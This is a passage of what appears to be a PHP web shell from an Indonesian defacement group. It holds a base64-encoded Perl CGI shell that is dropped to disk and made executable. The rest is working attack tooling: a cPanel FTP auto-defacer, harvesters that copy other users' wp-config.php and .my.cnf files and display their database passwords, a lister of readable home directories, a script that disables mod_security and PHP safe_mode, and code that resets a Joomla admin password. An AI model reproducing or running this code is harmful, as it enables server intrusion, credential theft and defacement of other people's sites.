wPkMwdWxkblwndCBCeXBhc3MgaXQgLCBTb3JyeTwvcD4nKTsNCiAgICAgIHJldHVybiAkcmVzdWx0Ow0KICAgfWVsc2UNCiAgIHsNCiAgICAgICRyZXN1bHQgLj0gJzx0YWJsZT48dHI+PHRoPkRvbWFpbnM8L3RoPiA8dGg+VXNlcjwvdGg+PC90cj4nOw0KICAgfQ0KICAgZm9yZWFjaCBteSAkb25lIChAY256cykNCiAgIHsNCiAgICAgIGlmKCRvbmUgPX4gbS8uKj96b25lICIoLio/KSIgey8pDQogICAgICB7ICAgDQogICAgICAgICAkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOw0KICAgICAgICAgJGZpbGVuYW1lPSAiL2V0Yy92YWxpYXNlcy8iLiRvbmU7DQogICAgICAgICAkb3duZXIgPSBnZXRwd3VpZCgoc3RhdCgkZmlsZW5hbWUpKVs0XSk7DQogICAgICAgICAkcmVzdWx0IC49ICc8dHIgY2xhc3M9IiRzdHlsZSIgd2lkdGg9NTAlPjx0ZD4nLiRvbmUuJyA8L3RkPjx0ZD4gJy4kb3duZXIuJzwvdGQ+PC90cj4nOw0KICAgICAgfQ0KICAgfQ0KICAgJHJlc3VsdCAuPSAnPC90YWJsZT4nOw0KICAgcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFZpZXcgTG9nDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgVmlld0xvZw0Kew0KICAgaWYoJFdpbk5UKQ0KICAgew0KICAgICAgcmV0dXJuICI8aDI+PGZvbnQgc3R5bGU9J2ZvbnQ6IDIwcHQgVmVyZGFuYTtjb2xvcjogI2ZmOTkwMDsnPkRvbid0IHJ1biBvbiBXaW5kb3dzPC9mb250PjwvaDI+IjsNCiAgIH0NCiAgIG15ICRyZXN1bHQ9Ijx0YWJsZT48dHI+PHRoPlBhdGggTG9nPC90aD48dGg+U3VibWl0PC90aD48L3RyPiI7DQogICBteSBAcGF0aGxvZz0oDQogICAgICAgICAgICAnL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9lcnJvcl9sb2cnLA0KICAgICAgICAgICAgJy92YXIvbG9nL2h0dHBkL2Vycm9yX2xvZycsDQogICAgICAgICAgICAnL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9hY2Nlc3NfbG9nJw0KICAgICAgICAgICAgKTsNCiAgIG15ICRpPTA7DQogICBteSAkcGVybXM7DQogICBteSAkc2w7DQogICBmb3JlYWNoIG15ICRsb2cgKEBwYXRobG9nKQ0KICAgew0KICAgICAgaWYoLXcgJGxvZykNCiAgICAgIHsNCiAgICAgICAgICRwZXJtcz0iT0siOw0KICAgICAgfWVsc2UNCiAgICAgIHsNCiAgICAgICAgIGNob3AoJHNsID0gYGxuIC1zICRsb2cgZXJyb3JfbG9nXyRpYCk7DQogICAgICAgICBpZigmdHJpbSgkbHMpIGVxICIiKQ0KICAgICAgICAgew0KICAgICAgICAgICAgaWYoLXIgJGxzKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgJHBlcm1zPSJPSyI7DQogICAgICAgICAgICAgICAkbG9nPSJlcnJvcl9sb2dfIi4kaTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgIH1lbHNlDQogICAgICAgICB7DQogICAgICAgICAgICAkcGVybXM9Ijxmb250IHN0eWxlPSdjb2xvcjogcmVkOyc+Q2FuY2VsPGZvbnQ+IjsNCiAgICAgICAgIH0NCiAgICAgIH0NCiAgICAgICRyZXN1bHQgLj08PEVORDsNCiAgICAgIDx0cj4NCg0KICAgICAgICAgPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+DQogICAgICAgICA8dGQ+PGlucHV0IHR5cGU9InRleHQiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdsb2dfJGknKS52YWx1ZT0nbGVzcyAnICsgdGhpcy52YWx1ZTsiIHZhbHVlPSIkbG9nIiBzaXplPSc1MCcvPjwvdGQ+DQogICAgICAgICA8dGQ+PGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IlRyeSIgLz48L3RkPg0KICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgaWQ9ImxvZ18kaSIgbmFtZT0iYyIgdmFsdWU9Imxlc3MgJGxvZyIvPg0KICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiIC8+DQogICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiIC8+DQogICAgICAgICA8L2Zvcm0+DQogICAgICAgICA8dGQ+JHBlcm1zPC90ZD4NCg0KICAgICAgPC90cj4NCkVORA0KICAgICAgJGkrKzsNCiAgIH0NCiAgICRyZXN1bHQgLj0iPC90YWJsZT4iOw0KICAgcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIE1haW4gUHJvZ3JhbSAtIEV4ZWN1dGlvbiBTdGFydHMgSGVyZQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KJlJlYWRQYXJzZTsNCiZHZXRDb29raWVzOw0KDQokU2NyaXB0TG9jYXRpb24gPSAkRU5WeydTQ1JJUFRfTkFNRSd9Ow0KJFNlcnZlck5hbWUgPSAkRU5WeydTRVJWRVJfTkFNRSd9Ow0KJExvZ2luUGFzc3dvcmQgPSAkaW57J3AnfTsNCiRSdW5Db21tYW5kID0gJGlueydjJ307DQokVHJhbnNmZXJGaWxlID0gJGlueydmJ307DQokT3B0aW9ucyA9ICRpbnsnbyd9Ow0KJEFjdGlvbiA9ICRpbnsnYSd9Ow0KDQokQWN0aW9uID0gImNvbW1hbmQiIGlmKCRBY3Rpb24gZXEgIiIpOyAjIG5vIGFjdGlvbiBzcGVjaWZpZWQsIHVzZSBkZWZhdWx0DQoNCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQNCiRDdXJyZW50RGlyID0gJnRyaW0oJGlueydkJ30pOw0KIyBtYWMgZGluaCB4dWF0IHRob25nIHRpbiBuZXUga28gY28gbGVuaCBuYW8hDQokUnVuQ29tbWFuZD0gJFdpbk5UPyJkaXIiOiJkaXIgLWxpYSIgaWYoJFJ1bkNvbW1hbmQgZXEgIiIpOw0KY2hvcCgkQ3VycmVudERpciA9IGAkQ21kUHdkYCkgaWYoJEN1cnJlbnREaXIgZXEgIiIpOw0KDQokTG9nZ2VkSW4gPSAkQ29va2llc3snU0FWRURQV0QnfSBlcSAkUGFzc3dvcmQ7DQoNCmlmKCRBY3Rpb24gZXEgImxvZ2luIiB8fCAhJExvZ2dlZEluKSAgICAgICAjIHVzZXIgbmVlZHMvaGFzIHRvIGxvZ2luDQp7DQogICAmUGVyZm9ybUxvZ2luOw0KfWVsc2lmKCRBY3Rpb24gZXEgImd1aSIpICMgR1VJIGRpcmVjdG9yeQ0Kew0KICAgJlByaW50UGFnZUhlYWRlcjsNCiAgIGlmKCEkV2luTlQpDQogICB7DQogICAgICAkY2htb2Q9aW50KCRpbnsnY2htb2QnfSk7DQogICAgICBpZighKCRjaG1vZCBlcSAwKSkNCiAgICAgIHsNCiAgICAgICAgICRjaG1vZD1pbnQoJGlueydjaG1vZCd9KTsNCiAgICAgICAgICRmaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7DQogICAgICAgICBjaG9wKCRyZXN1bHQ9IGBjaG1vZCAkY2htb2QgIiRmaWxlImApOw0KICAgICAgICAgaWYoJnRyaW0oJHJlc3VsdCkgZXEgIiIpDQogICAgICAgICB7DQogICAgICAgICAgICBwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7DQogICAgICAgICB9ZWxzZQ0KICAgICAgICAgew0KICAgICAgICAgICAgcHJpbnQgIjxydW4+IFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI+IjsNCiAgICAgICAgIH0NCiAgICAgIH0NCiAgIH0NCiAgICRyZW5hbWU9JGlueydyZW5hbWUnfTsNCiAgIGlmKCEkcmVuYW1lIGVxICIiKQ0KICAgew0KICAgICAgaWYocmVuYW1lKCRUcmFuc2ZlckZpbGUsJHJlbmFtZSkpDQogICAgICB7DQogICAgICAgICBwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7DQogICAgICB9ZWxzZQ0KICAgICAgew0KICAgICAgICAgcHJpbnQgIjxydW4+IFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI+IjsNCiAgICAgIH0NCiAgIH0NCiAgICRyZW1vdmU9JGlueydyZW1vdmUnfTsNCiAgIGlmKCRyZW1vdmUgbmUgIiIpDQogICB7DQogICAgICAkcm0gPSAkQ3VycmVudERpci4kUGF0aFNlcC4kcmVtb3ZlOw0KICAgICAgaWYoLWQgJHJtKQ0KICAgICAgew0KICAgICAgICAgJlJtRGlyKCRybSk7DQogICAgICB9ZWxzZQ0KICAgICAgew0KICAgICAgICAgaWYodW5saW5rKCRybSkpDQogICAgICAgICB7DQogICAgICAgICAgICBwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7DQogICAgICAgICB9ZWxzZQ0KICAgICAgICAgew0KICAgICAgICAgICAgcHJpbnQgIjxydW4+IFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI+IjsNCiAgICAgICAgIH0gICAgICAgICANCiAgICAgIH0NCiAgIH0NCiAgIHByaW50ICZMaXN0RGlyOw0KDQp9DQplbHNpZigkQWN0aW9uIGVxICJjb21tYW5kIikgICAgICAgICAgICAgICAgIyB1c2VyIHdhbnRzIHRvIHJ1biBhIGNvbW1hbmQNCnsNCiAgICZQcmludFBhZ2VIZWFkZXIoImMiKTsNCiAgIHByaW50ICZFeGVjdXRlQ29tbWFuZDsNCn0NCmVsc2lmKCRBY3Rpb24gZXEgInNhdmUiKSAgICAgICAgICAgICAgICAjIHVzZXIgd2FudHMgdG8gc2F2ZSBhIGZpbGUNCnsNCiAgICZQcmludFBhZ2VIZWFkZXI7DQogICBpZigmU2F2ZUZpbGUoJGlueydkYXRhJ30sJGlueydmaWxlJ30pKQ0KICAgew0KICAgICAgcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOw0KICAgfWVsc2UNCiAgIHsNCiAgICAgIHByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7DQogICB9DQogICBwcmludCAmTGlzdERpcjsNCn0NCmVsc2lmKCRBY3Rpb24gZXEgInVwbG9hZCIpICAgICAgICAgICAgICAgICMgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlDQp7DQogICAmUHJpbnRQYWdlSGVhZGVyOw0KDQogICBwcmludCAmVXBsb2FkRmlsZTsNCn0NCmVsc2lmKCRBY3Rpb24gZXEgImJhY2tiaW5kIikgICAgICAgICAgICAgIyB1c2VyIHdhbnRzIHRvIGJhY2sgY29ubmVjdCBvciBiaW5kIHBvcnQNCnsNCiAgICZQcmludFBhZ2VIZWFkZXIoImNsaWVudHBvcnQiKTsNCiAgIHByaW50ICZCYWNrQmluZDsNCn0NCmVsc2lmKCRBY3Rpb24gZXEgImJydXRlZm9yY2VyIikgICAgICAgICAgIyB1c2VyIHdhbnRzIHRvIGJydXRlIGZvcmNlDQp7DQogICAmUHJpbnRQYWdlSGVhZGVyOw0KICAgcHJpbnQgJkJydXRlRm9yY2VyOw0KfWVsc2lmKCRBY3Rpb24gZXEgImRvd25sb2FkIikgICAgICAgICAgICAgIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQ0Kew0KICAgcHJpbnQgJkRvd25sb2FkRmlsZTsNCn1lbHNpZigkQWN0aW9uIGVxICJjaGVja2xvZyIpICAgICAgICAgICAgICMgdXNlciB3YW50cyB0byB2aWV3IGxvZyBmaWxlDQp7DQogICAmUHJpbnRQYWdlSGVhZGVyOw0KICAgcHJpbnQgJlZpZXdMb2c7DQoNCn1lbHNpZigkQWN0aW9uIGVxICJkb21haW5zdXNlciIpICAgICAgICAgICMgdXNlciB3YW50cyB0byB2aWV3IGxpc3QgdXNlci9kb21haW4NCnsNCiAgICZQcmludFBhZ2VIZWFkZXI7DQogICBwcmludCAmVmlld0RvbWFpblVzZXI7DQp9ZWxzaWYoJEFjdGlvbiBlcSAibG9nb3V0IikgICAgICAgICAgICAgIyB1c2VyIHdhbnRzIHRvIGxvZ291dA0Kew0KICAgJlBlcmZvcm1Mb2dvdXQ7DQp9DQomUHJpbnRQYWdlRm9vdGVyOw==';
$file = fopen("pbm.zone", "w+");
    $write = fwrite($file, base64_decode($lamot));
    fclose($file);
    chmod("pbm.zone", 0755);
    echo "<iframe src=pbm_zone/pbm.zone width=96% height=76% frameborder=0></iframe>";
}
?>
<?php
if (isset($_GET['idb']) && ($_GET['idb'] == 'olenk14')) {
?>
<form action="?&amp;idb=olenk14" method="post">
<?php
echo '<form action="" method="post"><b><table class=tabnet>';
echo '<tr><th colspan="2"><b>-=[[ CPANEL AUTO DEFACE ]]=-</b></th></center></tr>';
echo '<tr><td>ip</td><td><input class=olenk2 type=text size=40 name="hi" value=""></td></tr>';
echo '<tr><td>user</td><td><input class=olenk2 type=text size=40 name="tx" value=""></td></tr>';
echo '<tr><td>pass</td><td><input class=olenk2 type=text size=40 name="p" value=""></td></tr>';
echo '<tr><td>file</td><td><input class=olenk2 type=text size=40 name="ph" value="index.php"></td></tr>';
echo '<tr><td>url file</td><td><input class=olenk2 type=text size=40 name="deface" value=""></td></tr></table>';
echo'<input class=olenk3 type=submit name=sm value="deface"></form>';
//eksekusi
if(isset($_POST['sm']))
{
    $ip=trim($_POST['hi']);
    $u=trim($_POST['tx']);
    $p=trim($_POST['p']);
    $d=trim($_POST['ph']);
    $df=trim($_POST['deface']);
//hasil
echo'<table class=tabnet>';
echo '<tr><td>ip</td><td><input class=olenk type=text size=40 value='.$ip.'></td></tr>';
echo '<tr><td>user</td><td><input class=olenk type=text size=40 value='.$u.'></td></tr>';
echo '<tr><td>pass</td><td><input class=olenk type=text size=40 value='.$p.'></td></tr>';
echo '<tr><td>file</td><td><input class=olenk type=text size=40 value='.$d.'></td></tr>';
echo '<tr><td>url file</td><td><input class=olenk type=text size=40 value='.$df.'></td></tr></table>';

    $dl="public_html/".$d;
    $si= ftp_connect($ip);    

$try= ftp_login($si,$u,$p);
if ((!$si) || (!$try))
{
        echo "<br><span class=olenk5>koneksi gagal kang T_T</span>";
        exit;
}
else
{
        echo "<br><span class=olenk5>~~~~~~~~~~~~~~~~~~~~~~~~~</span><br><span class=olenk4>sukses tersambung ke server</span><br>";
}
$deface = ftp_put($si, $dl , $df, FTP_BINARY);
if ($deface)
{
        echo "<span class=olenk5>~~~~~~~~~~~~~~~~~~~~~~~~~</span><br><span class=olenk4>tebas index sukses kang ^_^</span><br><span class=olenk5>~~~~~~~~~~~~~~~~~~~~~~~~~</span><br>";
}
else
{
        echo "<span class=olenk5>gagal kang.......coba manual T_T </span>";
}
    }
}
?>
<?php
if (isset($_GET['idb']) && ($_GET['idb'] == 'olenk15')) { ?>
<form action="?idb=olenk15" method="post">
<?php
@ini_set('display_errors',0);
function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){
    $ar0=explode($marqueurDebutLien, $text);
    $ar1=explode($marqueurFinLien, $ar0[$i]);
    return trim($ar1[0]);
}

echo "<center>";
$d0mains = @file('/etc/named.conf');
$domains = scandir("/var/named");
 
if ($domains or $d0mains)
{
    $domains = scandir("/var/named");
    if($domains) {
echo "<table class=olenk2 align='center'><tr><th class=olenk3> COUNT </th><th class=olenk3> DOMAIN </th><th class=olenk3> USER </th><th class=olenk3> wp-config </th></tr>";
$count=1;
$dc = 0;
$list = scandir("/var/named");
foreach($list as $domain){
if(strpos($domain,".db")){
$domain = str_replace('.db','',$domain);
$owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
$dirz = '/home/'.$owner['name'].'/public_html/wp-config.php';
$path = getcwd();
 
if (is_readable($dirz)) {
copy($dirz, ''.$path.'/'.$owner['name'].'.txt');
$p=file_get_contents(''.$path.'/'.$owner['name'].'.txt');
$password=entre2v2($p,'password="','"');
echo "<tr><td class=olenk2>".$count++."</td><td class=olenk2><a href='http://".$domain."/wp-login.php' target='_blank'>".$domain."</a></td><td class=olenk2>".$owner['name']."</td><td class=olenk2>".$password."</td><td class=olenk2><a href='".$owner['name'].".txt' target='_blank'>Click Here</a></td></tr>";
$dc++;
}
 
}
}
echo '</table>';
$total = $dc;
echo '<br><div class="olenk2">Wp config Found = '.$total.'</h3><br />';
echo '</center>';
}else{
$d0mains = @file('/etc/named.conf');
    if($d0mains) {
echo "<table class=olenk2 align='center'><tr><th class=olenk3> COUNT </th><th class=olenk3> DOMAIN </th><th class=olenk3> USER </th><th class=olenk3> wp-config </th></tr>";
$count=1;
$dc = 0;
$mck = array();
foreach($d0mains as $d0main){
    if(@eregi('zone',$d0main)){
        preg_match_all('#zone "(.*)"#',$d0main,$domain);
        flush();
        if(strlen(trim($domain[1][0])) >2){
            $mck[] = $domain[1][0];
        }
    }
}
$mck = array_unique($mck);
$usr = array();
$dmn = array();
foreach($mck as $o) {
    $infos = @posix_getpwuid(fileowner("/etc/valiases/".$o));
    $usr[] = $infos['name'];
    $dmn[] = $o;
}
array_multisort($usr,$dmn);
$dt = file('/etc/passwd');
$passwd = array();
foreach($dt as $d) {
    $r = explode(':',$d);
    if(strpos($r[5],'home')) {
        $passwd[$r[0]] = $r[5];
    }
}
$l=0;
$j=1;
foreach($usr as $r) {
$dirz = '/home/'.$r.'/public_html/wp-config.php';
$path = getcwd();
if (is_readable($dirz)) {
copy($dirz, ''.$path.'/'.$r.'.txt');
$p=file_get_contents(''.$path.'/'.$r.'.txt');
$password=entre2v2($p,'password="','"');
echo "<tr><td class=olenk2>".$count++."</td><td class=olenk2><a target='_blank' href=http://".$dmn[$j-1].'/>'.$dmn[$j-1].' </a></td><td class=olenk2>'.$r."</td><td class=olenk2>".$password."</td><td class=olenk2><a href='".$r.".txt' target='_blank'>Click Here</a></td></tr>";
$dc++;
                flush();
                $l=$l?0:1;
                $j++;
                                }
            }
                        }
echo '</table>';
$total = $dc;
echo '<br><div class="olenk2">Total config Found = '.$total.'</h3><br />';
echo '</center>';
 
}
}else{
echo "<div class='result'><i><font color='#FF0000'>ERROR</font><br><font color='#FF0000'>/var/named</font> or <font color='#FF0000'>etc/named.conf</font> Not Accessible!</i></div>";
}
echo "<center>";
$d0mains = @file('/etc/named.conf');
$domains = scandir("/var/named");
 
if ($domains or $d0mains)
{
    $domains = scandir("/var/named");
    if($domains) {
echo "<table class=olenk2 align='center'><tr><th class=olenk3> COUNT </th><th class=olenk3> DOMAIN </th><th class=olenk3> USER </th><th class=olenk3> config </th></tr>";
$count=1;
$dc = 0;
$list = scandir("/var/named");
foreach($list as $domain){
if(strpos($domain,".db")){
$domain = str_replace('.db','',$domain);
$owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
$dirz = '/home/'.$owner['name'].'/public_html/configuration.php';
$path = getcwd();
 
if (is_readable($dirz)) {
copy($dirz, ''.$path.'/'.$owner['name'].'.txt');
$p=file_get_contents(''.$path.'/'.$owner['name'].'.txt');
$password=entre2v2($p,'password="','"');
echo "<tr><td class=olenk2>".$count++."</td><td class=olenk2><a href='http://".$domain."/wp-login.php' target='_blank'>".$domain."</a></td><td class=olenk2>".$owner['name']."</td><td class=olenk2>".$password."</td><td class=olenk2><a href='".$owner['name'].".txt' target='_blank'>Click Here</a></td></tr>";
$dc++;
}
 
}
}
echo '</table>';
$total = $dc;
echo '<br><div class="olenk2">Total config Found = '.$total.'</h3><br />';
echo '</center>';
}else{
$d0mains = @file('/etc/named.conf');
    if($d0mains) {
echo "<table class=olenk2 align='center'><tr><th class=olenk3> COUNT </th><th class=olenk3> DOMAIN </th><th class=olenk3> USER </th><th class=olenk3> config </th></tr>";
$count=1;
$dc = 0;
$mck = array();
foreach($d0mains as $d0main){
    if(@eregi('zone',$d0main)){
        preg_match_all('#zone "(.*)"#',$d0main,$domain);
        flush();
        if(strlen(trim($domain[1][0])) >2){
            $mck[] = $domain[1][0];
        }
    }
}
$mck = array_unique($mck);
$usr = array();
$dmn = array();
foreach($mck as $o) {
    $infos = @posix_getpwuid(fileowner("/etc/valiases/".$o));
    $usr[] = $infos['name'];
    $dmn[] = $o;
}
array_multisort($usr,$dmn);
$dt = file('/etc/passwd');
$passwd = array();
foreach($dt as $d) {
    $r = explode(':',$d);
    if(strpos($r[5],'home')) {
        $passwd[$r[0]] = $r[5];
    }
}
$l=0;
$j=1;
foreach($usr as $r) {
$dirz = '/home/'.$r.'/.my.cnf';
$path = getcwd();
if (is_readable($dirz)) {
copy($dirz, ''.$path.'/'.$r.'.txt');
$p=file_get_contents(''.$path.'/'.$r.'.txt');
$password=entre2v2($p,'password="','"');
echo "<tr><td class=olenk2>".$count++."</td><td class=olenk2><a target='_blank' href=http://".$dmn[$j-1].'/>'.$dmn[$j-1].' </a></td><td class=olenk2>'.$r."</td><td class=olenk2>".$password."</td><td class=olenk2><a href='".$r.".txt' target='_blank'>Click Here</a></td></tr>";
$dc++;
                flush();
                $l=$l?0:1;
                $j++;
                                }
            }
                        }
echo '</table>';
$total = $dc;
echo '<br><div class="olenk2">Total cp = '.$total.'</h3><br />';
echo '</center>';
 
}
}else{
echo "<div class='result'><i><font color='#FF0000'>ERROR</font><br><font color='#FF0000'>/var/named</font> or <font color='#FF0000'>etc/named.conf</font> Not Accessible!</i></div>";
}
 
echo "<br>&#169; <font class='olenk5'>./elro-BN404</font> | BN-IDBTE4M";
echo "</body></html>";
}
?>
<?php
if(isset($_GET['roct']) && ($_GET['roct'] == 'jump'))
    {
    ($sm = ini_get('safe_mode') == 0) ? $sm = 'off' : die('<br/><br/><nobr><span class=olenk5>SAFE MODE ON</span></nobr><br/><br/>');
    set_time_limit(0);
    @$passwd = fopen('/etc/passwd-', 'r');
    if (!$passwd) {
        die('<br/><br/><nobr><span class=olenk5>READ ETC/PASSWD- NOT AVAILABLE</span></nobr><br/><br/>');
    }
    $pub = array();
    $users = array();
    $conf = array();
    $i = 0;
    while (!feof($passwd)) {
        $str = fgets($passwd);
        if ($i > 10) {
            $pos = strpos($str, ':');
            $username = substr($str, 0, $pos);
            $dirz = '/home/' . $username . '/public_html/';
            if (($username != '')) {
                if (is_readable($dirz)) {
                    array_push($users, $username);
                    array_push($pub, $dirz);
                }
            }
        }
        $i++;
    }
    echo "<br/><br/><nobr><b><span class='olenk4'>-=[[ READABLE PUBLIC_HTML ]]=-</span></b></nobr><br/><br/><b><span class='olenk6'>TOTAL : " . sizeof($pub) . " TARGET VICTIM</span>" . "</b><br>";
    foreach ($users as $user) {
        $path = "/home/$user/public_html/";
        echo "<br>";
        echo "<span class='olenk4'>[OK]</span>==><a href='?y=$path' target='_blank'><span class='olenk5'> $path</span></a><br>";
    }
    echo "<br>";
    echo "</br>";
}
?>
<?php
if (isset($_GET['pbm']) && ($_GET['pbm'] == 'bypass')) {
?>
<form action="?&amp;pbm=bypass" method="post">
<?php
@error_reporting(0);
$htaccess = fopen('.htaccess', 'w');
$phpini = fopen('php.ini', 'w');

$pbm1 = "<IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
SecFilterCheckURLEncoding Off
SecFilterCheckCookieFormat Off
SecFilterCheckUnicodeEncoding Off
SecFilterNormalizeCookies Off
</IfModule>";

$pbm2 = "safe_mode = OFF
Safe_mode_gid = OFF
disable_functions = NONE
disable_classes = NONE
open_basedir = OFF
suhosin.executor.func.blacklist = NONE";

    fwrite($htaccess, $pbm1);
    fwrite($phpini, $pbm2);
    $pbm3 = "<center><br/><br/><nobr><b><span class='olenk4' size='5'>-=[[ BYPASS SECURITY ]]=-</span></b></nobr><br/><br/><nobr><span class='olenk6'>[+] safemode off [+]<br>[+] disablefunction off [+]</span><br><span class='olenk4'>sukses kang... ^_^ </span></nobr><br/><br/></center>";
    echo $pbm3;
}
?>
<?php
if (isset($_GET['idb']) && ($_GET['idb'] == 'cp')) {
?>
<form action="?&amp;idb=cp" method="post">
<?php
/**
 * @author: FaisaL Ahmed aka blue X
 * @mail: [email protected]
 * @Screenshot: http://prntscr.com/7c1p34
 * @Last Updated: 01 June 2015
*/
 
@ini_set('display_errors',0);
function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){
    $ar0=explode($marqueurDebutLien, $text);
    $ar1=explode($marqueurFinLien, $ar0[$i]);
    return trim($ar1[0]);
}
echo "<center>";
$d0mains = @file('/etc/named.conf');
$domains = scandir("/var/named");
 
if ($domains or $d0mains)
{
    $domains = scandir("/var/named");
    if($domains) {
echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";
$count=1;
$dc = 0;
$list = scandir("/var/named");
foreach($list as $domain){
if(strpos($domain,".db")){
$domain = str_replace('.db','',$domain);
$owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
$dirz = '/home/'.$owner['name'].'/.my.cnf';
$path = getcwd();
 
if (is_readable($dirz)) {
copy($dirz, ''.$path.'/'.$owner['name'].'.txt');
$p=file_get_contents(''.$path.'/'.$owner['name'].'.txt');
$password=entre2v2($p,'password="','"');
echo "<tr><td>".$count++."</td><td><a href='http://".$domain.":2082' target='_blank'>".$domain."</a></td><td>".$owner['name']."</td><td>".$password."</td><td><a href='".$owner['name'].".txt' target='_blank'>Click Here</a></td></tr>";
$dc++;
}
 
}
}
echo '</table>';
$total = $dc;
echo '<br><div class="result">Total cPanel Found = '.$total.'</h3><br />';
echo '</center>';
}else{
$d0mains = @file('/etc/named.conf');
    if($d0mains) {
echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";
$count=1;
$dc = 0;
$mck = array();
foreach($d0mains as $d0main){
    if(@eregi('zone',$d0main)){
        preg_match_all('#zone "(.*)"#',$d0main,$domain);
        flush();
        if(strlen(trim($domain[1][0])) >2){
            $mck[] = $domain[1][0];
        }
    }
}
$mck = array_unique($mck);
$usr = array();
$dmn = array();
foreach($mck as $o) {
    $infos = @posix_getpwuid(fileowner("/etc/valiases/".$o));
    $usr[] = $infos['name'];
    $dmn[] = $o;
}
array_multisort($usr,$dmn);
$dt = file('/etc/passwd');
$passwd = array();
foreach($dt as $d) {
    $r = explode(':',$d);
    if(strpos($r[5],'home')) {
        $passwd[$r[0]] = $r[5];
    }
}
$l=0;
$j=1;
foreach($usr as $r) {
$dirz = '/home/'.$r.'/.my.cnf';
$path = getcwd();
if (is_readable($dirz)) {
copy($dirz, ''.$path.'/'.$r.'.txt');
$p=file_get_contents(''.$path.'/'.$r.'.txt');
$password=entre2v2($p,'password="','"');
echo "<tr><td>".$count++."</td><td><a target='_blank' href=http://".$dmn[$j-1].'/>'.$dmn[$j-1].' </a></td><td>'.$r."</td><td>".$password."</td><td><a href='".$r.".txt' target='_blank'>Click Here</a></td></tr>";
$dc++;
                flush();
                $l=$l?0:1;
                $j++;
                                }
            }
                        }
echo '</table>';
$total = $dc;
echo '<br><div class="result">Total cPanel Found = '.$total.'</h3><br />';
echo '</center>';
 
}
}else{
echo "<div class='result'><i><font color='#FF0000'>ERROR</font><br><font color='#FF0000'>/var/named</font> or <font color='#FF0000'>etc/named.conf</font> Not Accessible!</i></div>";
}

echo "</body></html>";
}
?>
<?php
if (isset($_GET['idb']) && ($_GET['idb'] == 'jomblo')) {
?>
<form action="?&amp;idb=jomblo" method="post">
<?
if ($_POST['form_action'])
{

$h="<? echo(stripslashes(base64_decode('".urlencode(base64_encode(str_replace("'","'",($_POST['code']))))."'))); exit; ?>";

 $dbprefix=($_POST['db_prefix']);
 $username=($_POST['db_username']);
 $password=($_POST['db_password']);
 $dbname=($_POST['db_name']);
  $site_url=($_POST['site_url']);

$co=randomt();



      $link=mysql_connect("localhost",$username,$password) ;

         mysql_select_db($dbname,$link) ;

$tryChaningInfo = mysql_query("UPDATE ".$dbprefix."users SET username ='admin' , password = '71a4d4cd2f30b185d707718273b17d05:DiWqRBR1thTQa2SvBsDqsUENrKOmZtAX'");
echo("<br>[+] Changing admin password to jancok");   
       
       $req =mysql_query("SELECT * from  `".$dbprefix."extensions` ");
       
if ( $req )
{
#################################################################
######################        V1.6         ######################
#################################################################

      
$req =mysql_query("SELECT * from  `".$dbprefix."template_styles` WHERE client_id='0' and home='1'");
    $data = mysql_fetch_array($req);
$template_name=$data["template"];

$req =mysql_query("SELECT * from  `".$dbprefix."extensions` WHERE name='".$template_name."'");
